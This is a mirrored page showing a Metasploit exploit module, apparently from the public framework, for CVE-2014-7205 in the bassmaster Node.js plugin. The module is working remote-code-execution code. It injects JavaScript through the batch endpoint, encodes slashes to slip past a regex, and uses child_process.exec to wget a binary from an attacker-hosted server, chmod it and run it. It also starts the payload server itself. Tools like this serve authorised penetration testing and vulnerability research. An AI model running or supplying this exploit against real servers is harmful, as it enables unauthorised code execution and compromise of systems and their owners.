Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/bassmaster_js_injection.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
19
'Description' => %q{
20
This module exploits an un-authenticated code injection vulnerability in the bassmaster
21
nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
22
attacker to dynamically execute JavaScript code on the server side using an eval.
23
24
Note that the code uses a '\x2f' character so that we hit the match on the regex.
25
},
26
'Author' => [
27
'mr_me <[email protected]>', # msf
28
'Jarda Kotesovec' # original bug finder
29
],
30
'References' => [
31
[ 'CVE', '2014-7205'],
32
[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory
33
],
34
'License' => MSF_LICENSE,
35
'Platform' => ['linux', 'bsd'], # binary > native JavaScript
36
'Arch' => [ARCH_X86, ARCH_X64],
37
'Privileged' => false,
38
'Targets' => [
39
[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2016-11-01',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
register_options(
51
[
52
Opt::RPORT(8080), # default port for the examples/batch.js file
53
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
54
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
55
]
56
)
57
end
58
59
def check
60
# So if we can append an encapsulated string into the body
61
# we know that we can execute arbitrary JavaScript code
62
rando = rand_text_alpha(8 + rand(8))
63
check = "+'#{rando}'"
64
65
# testing
66
requests = [
67
{ :method => "get", :path => "/profile" },
68
{ :method => "get", :path => "/item" },
69
{ :method => "get", :path => "/item/$1.id#{check}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
70
]
71
72
post = { :requests => requests }
73
74
res = send_request_cgi({
75
'method' => 'POST',
76
'uri' => normalize_uri(datastore['URIPATH']),
77
'ctype' => 'application/json',
78
'data' => post.to_json
79
})
80
81
# default example app
82
if res and res.code == 200 and res.body =~ /#{rando}/
83
return CheckCode::Vulnerable
84
85
# non-default app
86
elsif res and res.code == 500 and res.body =~ /#{rando}/
87
return CheckCode::Appears
88
end
89
90
return CheckCode::Safe
91
end
92
93
def on_request_uri(cli, request)
94
if (not @pl)
95
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
96
return
97
end
98
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
99
@elf_sent = true
100
send_response(cli, @pl)
101
end
102
103
def send_payload
104
@bd = rand_text_alpha(8 + rand(8))
105
pn = rand_text_alpha(8 + rand(8))
106
register_file_for_cleanup("/tmp/#{@bd}")
107
cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
108
cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
109
cmd << "\\x2ftmp\\x2f#{@bd}"
110
pay = ";require('child_process').exec('#{cmd}');"
111
112
# pwning
113
requests = [
114
{ :method => "get", :path => "/profile" },
115
{ :method => "get", :path => "/item" },
116
{ :method => "get", :path => "/item/$1.id#{pay}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
117
]
118
119
post = { :requests => requests }
120
121
res = send_request_cgi({
122
'method' => 'POST',
123
'uri' => normalize_uri(datastore['URIPATH']),
124
'ctype' => 'application/json',
125
'data' => post.to_json
126
})
127
128
# default example app
129
if res and res.code == 200 and res.body =~ /id/
130
return true
131
132
# incase we are not targeting the default app
133
elsif res and res.code == 500 and res.body != ~ /id/
134
return true
135
end
136
137
return false
138
end
139
140
def start_http_server
141
@pl = generate_payload_exe
142
@elf_sent = false
143
downfile = rand_text_alpha(8 + rand(8))
144
resource_uri = "\\x2f#{downfile}"
145
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
146
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
147
else
148
srv_host = datastore['SRVHOST']
149
end
150
151
@service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
152
service_url_payload = srv_host + resource_uri
153
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
154
start_service({
155
'Uri' => {
156
'Proc' => Proc.new { |cli, req|
157
on_request_uri(cli, req)
158
},
159
'Path' => resource_uri
160
},
161
'ssl' => false # do not use SSL
162
})
163
164
connect
165
end
166
167
def exploit
168
start_http_server
169
if send_payload
170
print_good("Injected payload")
171
# we need to delay, for the stager
172
select(nil, nil, nil, 5)
173
end
174
end
175
end
176
177